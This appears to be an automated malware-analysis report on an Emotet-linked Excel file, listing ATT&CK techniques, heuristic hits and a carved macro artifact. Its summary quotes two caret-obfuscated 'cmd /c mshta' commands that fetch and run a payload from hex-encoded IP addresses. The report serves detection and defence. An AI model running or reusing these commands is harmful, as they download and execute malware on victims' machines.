MALICIOUS
140
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1204.002 Malicious File
T1566.001 Spearphishing Attachment
The sample contains Excel 4.0 macros, specifically an Auto_Open macro, which is a critical finding. The macro attempts to execute a command that downloads a payload from a hardcoded URL. The ClamAV detection and the nature of the macro strongly suggest Emotet, a known downloader family. The reconstructed command is 'cmd /c m^sh^t^a h^tt^p^:/^/0xc12a24f5/c^c.h^tm^l' and 'cmd /c m^sh^t^a h^tt^p^:/^/0xb907d607/c^c.h^tm^l', indicating the script's intent to download and execute a second-stage payload.
Heuristics 3
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Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAMEoletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
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ClamAV: Doc.Downloader.EmotetExcel01220-9936774-0 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Downloader.EmotetExcel01220-9936774-0
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Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPENWorkbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
xlm_macros.txta0fd1b709c0182b7bfad87bd5382ad41592e9af0d0093f5e68d1ff145f18d235 |
xlm-macro | oletools.olevba.extract_all_macros (XLM macro listing) | 653 bytes |
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